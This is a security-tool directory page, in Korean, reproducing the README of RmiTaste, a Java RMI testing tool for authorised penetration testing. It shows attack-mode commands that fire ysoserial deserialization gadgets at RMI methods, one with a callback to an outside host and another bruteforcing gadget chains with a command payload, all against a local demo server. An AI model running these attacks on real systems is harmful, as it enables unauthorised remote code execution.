Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
RmiTaste — Java RMI 보안 테스트 도구로, ysoserial 역직렬화 가젯을 사용하여 안전하지 않은 RMI 서비스를 탐지, 열거 및 익스플로잇하여 원격 코드 실행을 달성합니다. | Kitploit
도구/GitHubGitHub/stmcyber/rmitaste
Vulnerability AnalysisExploitationPenetration Testing
GitHubstmcyber/rmitaste

RmiTaste

Java RMI 보안 테스트 도구로, ysoserial 역직렬화 가젯을 사용하여 안전하지 않은 RMI 서비스를 탐지, 열거 및 익스플로잇하여 원격 코드 실행을 달성합니다.

저장소 보기웹사이트
10920115년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

License

RmiTaste

RmiTaste는 보안 전문가가 ysoserial의 gadget을 사용하여 원격 메서드를 호출함으로써 RMI 서비스를 탐지, 열거, 상호 작용 및 공격할 수 있게 해줍니다. 또한 특정 매개변수로 원격 메서드를 호출할 수도 있습니다.

면책 조항

RmiTaste는 사용자가 사전 승인을 받은 시스템에서 안전하지 않은 RMI 서비스를 식별하는 보안 전문가를 돕기 위해 작성되었습니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며, RmiTaste는 모든 관련 법률을 준수하여 사용해야 합니다. 이를 위반할 경우 기소될 수 있습니다. RmiTaste의 개발자는 이 프로그램으로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않으며, 책임이 없습니다.

빌드 및 실행

openjdk 11.0.3이 필요합니다.

  1. ysoserial-master-SNAPSHOT.jar를 다운로드하여 libs_attack 디렉토리에 저장합니다 (https://github.com/frohoff/ysoserial).
  2. Maven을 사용하여 프로젝트를 빌드합니다:
    root@kitploit:~
    mvn package
    
  3. 다음 명령어를 실행합니다:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    

사용법

RmiTaste에는 conn, enum, attack 및 call의 4가지 모드가 있습니다. 각 모드에는 별도의 도움말이 있습니다.

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   display this help message
Commands:
  conn    check connection to host
  enum    enumerate RMI service
  attack  attack RMI registry methods
  call    call specific method on RMI remote object

conn 모드

conn 모드는 포트가 RMI 서비스 포트인지 확인할 수 있게 해줍니다.

root@kitploit:~
# 127.0.0.1:1099가 RMI 서비스인지 확인
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

enum 모드

enum 모드는 RMI 서비스에 대한 정보(예: 원격 객체 이름과 원격 객체가 구현하거나 확장하는 클래스 이름)를 가져올 수 있게 해줍니다. 원격 객체가 구현한 인터페이스가 RmiTaste 클래스패스에 있는 경우 RmiTaste는 이 원격 객체에서 호출할 수 있는 모든 원격 메서드를 출력합니다.

root@kitploit:~
# RMI 서비스 열거
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

attack 모드

attack 모드는 ysoserial의 특정 gadget 체인을 사용하여 원격 메서드를 호출할 수 있게 해줍니다. 원격 객체에 다음 메서드가 있다고 가정합니다:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# 모든 원격 메서드를 URLDNS gadget을 매개변수로 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# acc1:m0.rmitaste.example.server.ClientAccount:deposit 메서드를 URLDNS gadget을 매개변수로 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

"-gen bruteforce" 옵션을 사용하면 ysoserial의 gadget을 사용하여 원격 메서드를 brute force할 수 있습니다. 이 예에서는 deposit 메서드가 ysoserial의 여러 gadget으로 여러 번 호출됩니다.

root@kitploit:~
# acc1:m0.rmitaste.example.server.ClientAccount:deposit 메서드를 ysoserial의 gadget과 명령어 ping 127.0.0.1로 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

call 모드

call 모드는 RMI 원격 객체에서 특정 메서드를 호출할 수 있게 해줍니다. 원격 객체에 다음 메서드가 있다고 가정합니다:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# acc1 원격 객체에서 m0.rmitaste.example.server.ClientAccount.getBalance 메서드 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# acc1 원격 객체에서 m0.rmitaste.example.server.ClientAccount.setPin("1234") 메서드 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

예제

데모 서버는 여기에서 확인할 수 있습니다.

  1. 데모 서버를 실행합니다.

  2. 대상 열거.

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

보시다시피 RmiTaste는 원격 객체의 인터페이스가 필요합니다. 침투 테스트 중에는 이 인터페이스를 찾아야 합니다. 이 예제에서는 rmitaste.examples-1.0-SNAPSHOT-all.jar를 libs_attack 디렉토리에 복사하면 됩니다. 대상을 다시 열거합니다:

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

저자

트위터: @_mzer0

영감을 받은 곳: BaRMIe 및 @h0ng10의 기사

도구 다운로드